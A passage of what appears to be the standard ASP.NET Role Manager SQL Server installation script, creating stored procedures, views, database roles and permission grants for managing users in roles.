LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(1) DECLARE @ErrorCode int SET @ErrorCode = 0 DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END ELSE SET @TranStarted = 0 DECLARE @RoleId uniqueidentifier SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @ApplicationId IF (@RoleId IS NULL) BEGIN SELECT @ErrorCode = 1 GOTO Cleanup END IF (@DeleteOnlyIfRoleIsEmpty <> 0) BEGIN IF (EXISTS (SELECT RoleId FROM dbo.aspnet_UsersInRoles WHERE @RoleId = RoleId)) BEGIN SELECT @ErrorCode = 2 GOTO Cleanup END END DELETE FROM dbo.aspnet_UsersInRoles WHERE @RoleId = RoleId IF( @@ERROR <> 0 ) BEGIN SET @ErrorCode = -1 GOTO Cleanup END DELETE FROM dbo.aspnet_Roles WHERE @RoleId = RoleId AND ApplicationId = @ApplicationId IF( @@ERROR <> 0 ) BEGIN SET @ErrorCode = -1 GOTO Cleanup END IF( @TranStarted = 1 ) BEGIN SET @TranStarted = 0 COMMIT TRANSACTION END RETURN(0) Cleanup: IF( @TranStarted = 1 ) BEGIN SET @TranStarted = 0 ROLLBACK TRANSACTION END RETURN @ErrorCode END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles_RoleExists') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_Roles_RoleExists GO CREATE PROCEDURE dbo.aspnet_Roles_RoleExists @ApplicationName nvarchar(256), @RoleName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(0) IF (EXISTS (SELECT RoleName FROM dbo.aspnet_Roles WHERE LOWER(@RoleName) = LoweredRoleName AND ApplicationId = @ApplicationId )) RETURN(1) ELSE RETURN(0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_AddUsersToRoles') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_AddUsersToRoles GO IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_RemoveUsersFromRoles') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_RemoveUsersFromRoles GO DECLARE @ver int DECLARE @version nchar(100) DECLARE @dot int DECLARE @hyphen int DECLARE @SqlToExec nchar(4000) SELECT @ver = 7 SELECT @version = @@Version SELECT @hyphen = CHARINDEX(N' - ', @version) IF (NOT(@hyphen IS NULL) AND @hyphen > 0) BEGIN SELECT @hyphen = @hyphen + 3 SELECT @dot = CHARINDEX(N'.', @version, @hyphen) IF (NOT(@dot IS NULL) AND @dot > @hyphen) BEGIN SELECT @version = SUBSTRING(@version, @hyphen, @dot - @hyphen) SELECT @ver = CONVERT(int, @version) END END IF (@ver > 7) SELECT @SqlToExec = N' CREATE PROCEDURE dbo.aspnet_UsersInRoles_AddUsersToRoles @ApplicationName nvarchar(256), @UserNames nvarchar(4000), @RoleNames nvarchar(4000), @CurrentTimeUtc datetime AS BEGIN DECLARE @AppId uniqueidentifier SELECT @AppId = NULL SELECT @AppId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@AppId IS NULL) RETURN(2) DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END DECLARE @tbNames table(Name nvarchar(256) NOT NULL PRIMARY KEY) DECLARE @tbRoles table(RoleId uniqueidentifier NOT NULL PRIMARY KEY) DECLARE @tbUsers table(UserId uniqueidentifier NOT NULL PRIMARY KEY) DECLARE @Num int DECLARE @Pos int DECLARE @NextPos int DECLARE @Name nvarchar(256) SET @Num = 0 SET @Pos = 1 WHILE(@Pos <= LEN(@RoleNames)) BEGIN SELECT @NextPos = CHARINDEX(N'','', @RoleNames, @Pos) IF (@NextPos = 0 OR @NextPos IS NULL) SELECT @NextPos = LEN(@RoleNames) + 1 SELECT @Name = RTRIM(LTRIM(SUBSTRING(@RoleNames, @Pos, @NextPos - @Pos))) SELECT @Pos = @NextPos+1 INSERT INTO @tbNames VALUES (@Name) SET @Num = @Num + 1 END INSERT INTO @tbRoles SELECT RoleId FROM dbo.aspnet_Roles ar, @tbNames t WHERE LOWER(t.Name) = ar.LoweredRoleName AND ar.ApplicationId = @AppId IF (@@ROWCOUNT <> @Num) BEGIN SELECT TOP 1 Name FROM @tbNames WHERE LOWER(Name) NOT IN (SELECT ar.LoweredRoleName FROM dbo.aspnet_Roles ar, @tbRoles r WHERE r.RoleId = ar.RoleId) IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(2) END DELETE FROM @tbNames WHERE 1=1 SET @Num = 0 SET @Pos = 1 WHILE(@Pos <= LEN(@UserNames)) BEGIN SELECT @NextPos = CHARINDEX(N'','', @UserNames, @Pos) IF (@NextPos = 0 OR @NextPos IS NULL) SELECT @NextPos = LEN(@UserNames) + 1 SELECT @Name = RTRIM(LTRIM(SUBSTRING(@UserNames, @Pos, @NextPos - @Pos))) SELECT @Pos = @NextPos+1 INSERT INTO @tbNames VALUES (@Name) SET @Num = @Num + 1 END INSERT INTO @tbUsers SELECT UserId FROM dbo.aspnet_Users ar, @tbNames t WHERE LOWER(t.Name) = ar.LoweredUserName AND ar.ApplicationId = @AppId IF (@@ROWCOUNT <> @Num) BEGIN DELETE FROM @tbNames WHERE LOWER(Name) IN (SELECT LoweredUserName FROM dbo.aspnet_Users au, @tbUsers u WHERE au.UserId = u.UserId) INSERT dbo.aspnet_Users (ApplicationId, UserId, UserName, LoweredUserName, IsAnonymous, LastActivityDate) SELECT @AppId, NEWID(), Name, LOWER(Name), 0, @CurrentTimeUtc FROM @tbNames INSERT INTO @tbUsers SELECT UserId FROM dbo.aspnet_Users au, @tbNames t WHERE LOWER(t.Name) = au.LoweredUserName AND au.ApplicationId = @AppId END IF (EXISTS (SELECT * FROM dbo.aspnet_UsersInRoles ur, @tbUsers tu, @tbRoles tr WHERE tu.UserId = ur.UserId AND tr.RoleId = ur.RoleId)) BEGIN SELECT TOP 1 UserName, RoleName FROM dbo.aspnet_UsersInRoles ur, @tbUsers tu, @tbRoles tr, aspnet_Users u, aspnet_Roles r WHERE u.UserId = tu.UserId AND r.RoleId = tr.RoleId AND tu.UserId = ur.UserId AND tr.RoleId = ur.RoleId IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(3) END INSERT INTO dbo.aspnet_UsersInRoles (UserId, RoleId) SELECT UserId, RoleId FROM @tbUsers, @tbRoles IF( @TranStarted = 1 ) COMMIT TRANSACTION RETURN(0) END' ELSE SELECT @SqlToExec = N' CREATE PROCEDURE dbo.aspnet_UsersInRoles_AddUsersToRoles @ApplicationName nvarchar(256), @UserNames nvarchar(4000), @RoleNames nvarchar(4000), @CurrentTimeUtc datetime AS BEGIN DECLARE @AppId uniqueidentifier SELECT @AppId = NULL SELECT @AppId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@AppId IS NULL) RETURN(2) DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END DECLARE @RoleId uniqueidentifier DECLARE @UserId uniqueidentifier DECLARE @UserName nvarchar(256) DECLARE @RoleName nvarchar(256) DECLARE @CurrentPosU int DECLARE @NextPosU int DECLARE @CurrentPosR int DECLARE @NextPosR int SELECT @CurrentPosU = 1 WHILE(@CurrentPosU <= LEN(@UserNames)) BEGIN SELECT @NextPosU = CHARINDEX(N'','', @UserNames, @CurrentPosU) IF (@NextPosU = 0 OR @NextPosU IS NULL) SELECT @NextPosU = LEN(@UserNames) + 1 SELECT @UserName = SUBSTRING(@UserNames, @CurrentPosU, @NextPosU - @CurrentPosU) SELECT @CurrentPosU = @NextPosU+1 SELECT @CurrentPosR = 1 WHILE(@CurrentPosR <= LEN(@RoleNames)) BEGIN SELECT @NextPosR = CHARINDEX(N'','', @RoleNames, @CurrentPosR) IF (@NextPosR = 0 OR @NextPosR IS NULL) SELECT @NextPosR = LEN(@RoleNames) + 1 SELECT @RoleName = SUBSTRING(@RoleNames, @CurrentPosR, @NextPosR - @CurrentPosR) SELECT @CurrentPosR = @NextPosR+1 SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @AppId IF (@RoleId IS NULL) BEGIN SELECT @RoleName IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(2) END SELECT @UserId = NULL SELECT @UserId = UserId FROM dbo.aspnet_Users WHERE LoweredUserName = LOWER(@UserName) AND ApplicationId = @AppId IF (@UserId IS NULL) BEGIN EXEC dbo.aspnet_Users_CreateUser @AppId, @UserName, 0, @CurrentTimeUtc, @UserId OUTPUT END IF (EXISTS(SELECT * FROM dbo.aspnet_UsersInRoles WHERE @UserId = UserId AND @RoleId = RoleId)) BEGIN SELECT @UserName, @RoleName IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(3) END INSERT INTO dbo.aspnet_UsersInRoles (UserId, RoleId) VALUES(@UserId, @RoleId) END END IF( @TranStarted = 1 ) COMMIT TRANSACTION RETURN(0) END' EXEC sp_executesql @SqlToExec IF (@ver > 7) SELECT @SqlToExec = N' CREATE PROCEDURE dbo.aspnet_UsersInRoles_RemoveUsersFromRoles @ApplicationName nvarchar(256), @UserNames nvarchar(4000), @RoleNames nvarchar(4000) AS BEGIN DECLARE @AppId uniqueidentifier SELECT @AppId = NULL SELECT @AppId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@AppId IS NULL) RETURN(2) DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END DECLARE @tbNames table(Name nvarchar(256) NOT NULL PRIMARY KEY) DECLARE @tbRoles table(RoleId uniqueidentifier NOT NULL PRIMARY KEY) DECLARE @tbUsers table(UserId uniqueidentifier NOT NULL PRIMARY KEY) DECLARE @Num int DECLARE @Pos int DECLARE @NextPos int DECLARE @Name nvarchar(256) DECLARE @CountAll int DECLARE @CountU int DECLARE @CountR int SET @Num = 0 SET @Pos = 1 WHILE(@Pos <= LEN(@RoleNames)) BEGIN SELECT @NextPos = CHARINDEX(N'','', @RoleNames, @Pos) IF (@NextPos = 0 OR @NextPos IS NULL) SELECT @NextPos = LEN(@RoleNames) + 1 SELECT @Name = RTRIM(LTRIM(SUBSTRING(@RoleNames, @Pos, @NextPos - @Pos))) SELECT @Pos = @NextPos+1 INSERT INTO @tbNames VALUES (@Name) SET @Num = @Num + 1 END INSERT INTO @tbRoles SELECT RoleId FROM dbo.aspnet_Roles ar, @tbNames t WHERE LOWER(t.Name) = ar.LoweredRoleName AND ar.ApplicationId = @AppId SELECT @CountR = @@ROWCOUNT IF (@CountR <> @Num) BEGIN SELECT TOP 1 N'''', Name FROM @tbNames WHERE LOWER(Name) NOT IN (SELECT ar.LoweredRoleName FROM dbo.aspnet_Roles ar, @tbRoles r WHERE r.RoleId = ar.RoleId) IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(2) END DELETE FROM @tbNames WHERE 1=1 SET @Num = 0 SET @Pos = 1 WHILE(@Pos <= LEN(@UserNames)) BEGIN SELECT @NextPos = CHARINDEX(N'','', @UserNames, @Pos) IF (@NextPos = 0 OR @NextPos IS NULL) SELECT @NextPos = LEN(@UserNames) + 1 SELECT @Name = RTRIM(LTRIM(SUBSTRING(@UserNames, @Pos, @NextPos - @Pos))) SELECT @Pos = @NextPos+1 INSERT INTO @tbNames VALUES (@Name) SET @Num = @Num + 1 END INSERT INTO @tbUsers SELECT UserId FROM dbo.aspnet_Users ar, @tbNames t WHERE LOWER(t.Name) = ar.LoweredUserName AND ar.ApplicationId = @AppId SELECT @CountU = @@ROWCOUNT IF (@CountU <> @Num) BEGIN SELECT TOP 1 Name, N'''' FROM @tbNames WHERE LOWER(Name) NOT IN (SELECT au.LoweredUserName FROM dbo.aspnet_Users au, @tbUsers u WHERE u.UserId = au.UserId) IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(1) END SELECT @CountAll = COUNT(*) FROM dbo.aspnet_UsersInRoles ur, @tbUsers u, @tbRoles r WHERE ur.UserId = u.UserId AND ur.RoleId = r.RoleId IF (@CountAll <> @CountU * @CountR) BEGIN SELECT TOP 1 UserName, RoleName FROM @tbUsers tu, @tbRoles tr, dbo.aspnet_Users u, dbo.aspnet_Roles r WHERE u.UserId = tu.UserId AND r.RoleId = tr.RoleId AND tu.UserId NOT IN (SELECT ur.UserId FROM dbo.aspnet_UsersInRoles ur WHERE ur.RoleId = tr.RoleId) AND tr.RoleId NOT IN (SELECT ur.RoleId FROM dbo.aspnet_UsersInRoles ur WHERE ur.UserId = tu.UserId) IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(3) END DELETE FROM dbo.aspnet_UsersInRoles WHERE UserId IN (SELECT UserId FROM @tbUsers) AND RoleId IN (SELECT RoleId FROM @tbRoles) IF( @TranStarted = 1 ) COMMIT TRANSACTION RETURN(0) END ' ELSE SELECT @SqlToExec = N' CREATE PROCEDURE dbo.aspnet_UsersInRoles_RemoveUsersFromRoles @ApplicationName nvarchar(256), @UserNames nvarchar(4000), @RoleNames nvarchar(4000) AS BEGIN DECLARE @AppId uniqueidentifier SELECT @AppId = NULL SELECT @AppId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@AppId IS NULL) RETURN(2) DECLARE @TranStarted bit SET @TranStarted = 0 IF( @@TRANCOUNT = 0 ) BEGIN BEGIN TRANSACTION SET @TranStarted = 1 END DECLARE @RoleId uniqueidentifier DECLARE @UserId uniqueidentifier DECLARE @UserName nvarchar(256) DECLARE @RoleName nvarchar(256) DECLARE @CurrentPosU int DECLARE @NextPosU int DECLARE @CurrentPosR int DECLARE @NextPosR int SELECT @CurrentPosU = 1 WHILE(@CurrentPosU <= LEN(@UserNames)) BEGIN SELECT @NextPosU = CHARINDEX(N'','', @UserNames, @CurrentPosU) IF (@NextPosU = 0 OR @NextPosU IS NULL) SELECT @NextPosU = LEN(@UserNames)+1 SELECT @UserName = SUBSTRING(@UserNames, @CurrentPosU, @NextPosU - @CurrentPosU) SELECT @CurrentPosU = @NextPosU+1 SELECT @CurrentPosR = 1 WHILE(@CurrentPosR <= LEN(@RoleNames)) BEGIN SELECT @NextPosR = CHARINDEX(N'','', @RoleNames, @CurrentPosR) IF (@NextPosR = 0 OR @NextPosR IS NULL) SELECT @NextPosR = LEN(@RoleNames)+1 SELECT @RoleName = SUBSTRING(@RoleNames, @CurrentPosR, @NextPosR - @CurrentPosR) SELECT @CurrentPosR = @NextPosR+1 SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LoweredRoleName = LOWER(@RoleName) AND ApplicationId = @AppId IF (@RoleId IS NULL) BEGIN SELECT N'''', @RoleName IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(2) END SELECT @UserId = NULL SELECT @UserId = UserId FROM dbo.aspnet_Users WHERE LoweredUserName = LOWER(@UserName) AND ApplicationId = @AppId IF (@UserId IS NULL) BEGIN SELECT @UserName, N'''' IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(1) END IF (NOT(EXISTS(SELECT * FROM dbo.aspnet_UsersInRoles WHERE @UserId = UserId AND @RoleId = RoleId))) BEGIN SELECT @UserName, @RoleName IF( @TranStarted = 1 ) ROLLBACK TRANSACTION RETURN(3) END DELETE FROM dbo.aspnet_UsersInRoles WHERE (UserId = @UserId AND RoleId = @RoleId) END END IF( @TranStarted = 1 ) COMMIT TRANSACTION RETURN(0) END ' EXEC sp_executesql @SqlToExec GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_GetUsersInRoles') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_GetUsersInRoles GO CREATE PROCEDURE dbo.aspnet_UsersInRoles_GetUsersInRoles @ApplicationName nvarchar(256), @RoleName nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(1) DECLARE @RoleId uniqueidentifier SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LOWER(@RoleName) = LoweredRoleName AND ApplicationId = @ApplicationId IF (@RoleId IS NULL) RETURN(1) SELECT u.UserName FROM dbo.aspnet_Users u, dbo.aspnet_UsersInRoles ur WHERE u.UserId = ur.UserId AND @RoleId = ur.RoleId AND u.ApplicationId = @ApplicationId ORDER BY u.UserName RETURN(0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_UsersInRoles_FindUsersInRole') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_UsersInRoles_FindUsersInRole GO CREATE PROCEDURE dbo.aspnet_UsersInRoles_FindUsersInRole @ApplicationName nvarchar(256), @RoleName nvarchar(256), @UserNameToMatch nvarchar(256) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN(1) DECLARE @RoleId uniqueidentifier SELECT @RoleId = NULL SELECT @RoleId = RoleId FROM dbo.aspnet_Roles WHERE LOWER(@RoleName) = LoweredRoleName AND ApplicationId = @ApplicationId IF (@RoleId IS NULL) RETURN(1) SELECT u.UserName FROM dbo.aspnet_Users u, dbo.aspnet_UsersInRoles ur WHERE u.UserId = ur.UserId AND @RoleId = ur.RoleId AND u.ApplicationId = @ApplicationId AND LoweredUserName LIKE LOWER(@UserNameToMatch) ORDER BY u.UserName RETURN(0) END GO /*************************************************************/ /*************************************************************/ IF (EXISTS (SELECT name FROM sysobjects WHERE (name = N'aspnet_Roles_GetAllRoles') AND (type = 'P'))) DROP PROCEDURE dbo.aspnet_Roles_GetAllRoles GO CREATE PROCEDURE dbo.aspnet_Roles_GetAllRoles ( @ApplicationName nvarchar(256)) AS BEGIN DECLARE @ApplicationId uniqueidentifier SELECT @ApplicationId = NULL SELECT @ApplicationId = ApplicationId FROM aspnet_Applications WHERE LOWER(@ApplicationName) = LoweredApplicationName IF (@ApplicationId IS NULL) RETURN SELECT RoleName FROM dbo.aspnet_Roles WHERE ApplicationId = @ApplicationId ORDER BY RoleName END GO /*************************************************************/ /*************************************************************/ IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'vw_aspnet_Roles') AND (type = 'V'))) BEGIN PRINT 'Creating the vw_aspnet_Roles view...' EXEC(N' CREATE VIEW [dbo].[vw_aspnet_Roles] AS SELECT [dbo].[aspnet_Roles].[ApplicationId], [dbo].[aspnet_Roles].[RoleId], [dbo].[aspnet_Roles].[RoleName], [dbo].[aspnet_Roles].[LoweredRoleName], [dbo].[aspnet_Roles].[Description] FROM [dbo].[aspnet_Roles] ') END GO /*************************************************************/ /*************************************************************/ IF (NOT EXISTS (SELECT name FROM sysobjects WHERE (name = N'vw_aspnet_UsersInRoles') AND (type = 'V'))) BEGIN PRINT 'Creating the vw_aspnet_UsersInRoles view...' EXEC(N' CREATE VIEW [dbo].[vw_aspnet_UsersInRoles] AS SELECT [dbo].[aspnet_UsersInRoles].[UserId], [dbo].[aspnet_UsersInRoles].[RoleId] FROM [dbo].[aspnet_UsersInRoles] ') END GO /*************************************************************/ /*************************************************************/ -- --Create Role Manager schema version -- DECLARE @command nvarchar(4000) SET @command = 'GRANT EXECUTE ON [dbo].aspnet_RegisterSchemaVersion TO ' + QUOTENAME(user) EXECUTE (@command) GO EXEC [dbo].aspnet_RegisterSchemaVersion N'Role Manager', N'1', 1, 1 GO /*************************************************************/ /*************************************************************/ -- --Create Role Manager roles -- IF ( NOT EXISTS ( SELECT name FROM sysusers WHERE issqlrole = 1 AND name = N'aspnet_Roles_FullAccess' ) ) EXEC sp_addrole N'aspnet_Roles_FullAccess' IF ( NOT EXISTS ( SELECT name FROM sysusers WHERE issqlrole = 1 AND name = N'aspnet_Roles_BasicAccess' ) ) EXEC sp_addrole N'aspnet_Roles_BasicAccess' IF ( NOT EXISTS ( SELECT name FROM sysusers WHERE issqlrole = 1 AND name = N'aspnet_Roles_ReportingAccess' ) ) EXEC sp_addrole N'aspnet_Roles_ReportingAccess' GO EXEC sp_addrolemember N'aspnet_Roles_BasicAccess', N'aspnet_Roles_FullAccess' EXEC sp_addrolemember N'aspnet_Roles_ReportingAccess', N'aspnet_Roles_FullAccess' GO -- --Stored Procedure rights for BasicAccess -- GRANT EXECUTE ON dbo.aspnet_UsersInRoles_IsUserInRole TO aspnet_Roles_BasicAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_GetRolesForUser TO aspnet_Roles_BasicAccess GRANT EXECUTE ON dbo.aspnet_CheckSchemaVersion TO aspnet_Roles_BasicAccess GRANT EXECUTE ON dbo.aspnet_RegisterSchemaVersion TO aspnet_Roles_BasicAccess GRANT EXECUTE ON dbo.aspnet_UnRegisterSchemaVersion TO aspnet_Roles_BasicAccess -- --Stored Procedure rights for ReportingAccess -- GRANT EXECUTE ON dbo.aspnet_UsersInRoles_IsUserInRole TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_GetRolesForUser TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_Roles_RoleExists TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_GetUsersInRoles TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_FindUsersInRole TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_Roles_GetAllRoles TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_CheckSchemaVersion TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_RegisterSchemaVersion TO aspnet_Roles_ReportingAccess GRANT EXECUTE ON dbo.aspnet_UnRegisterSchemaVersion TO aspnet_Roles_ReportingAccess -- --Additional stored procedure rights for FullAccess -- GRANT EXECUTE ON dbo.aspnet_Roles_CreateRole TO aspnet_Roles_FullAccess GRANT EXECUTE ON dbo.aspnet_Roles_DeleteRole TO aspnet_Roles_FullAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_AddUsersToRoles TO aspnet_Roles_FullAccess GRANT EXECUTE ON dbo.aspnet_UsersInRoles_RemoveUsersFromRoles TO aspnet_Roles_FullAccess -- --View rights -- GRANT SELECT ON dbo.vw_aspnet_Applications TO aspnet_Roles_ReportingAccess GRANT SELECT ON dbo.vw_aspnet_Users TO aspnet_Roles_ReportingAccess GRANT SELECT ON dbo.vw_aspnet_Roles TO aspnet_Roles_ReportingAccess GRANT SELECT ON dbo.vw_aspnet_UsersInRoles TO aspnet_Roles_ReportingAccess GO /*************************************************************/ /*************************************************************/ /*************************************************************/ /*************************************************************/ DECLARE @command nvarchar(4000) SET @command = 'REVOKE EXECUTE ON [dbo].aspnet_RegisterSchemaVersion FROM ' + QUOTENAME(user) EXECUTE (@command) GO PRINT '---------------------------------------' PRINT 'Completed execution of InstallRoles.SQL' PRINT '---------------------------------------'
Close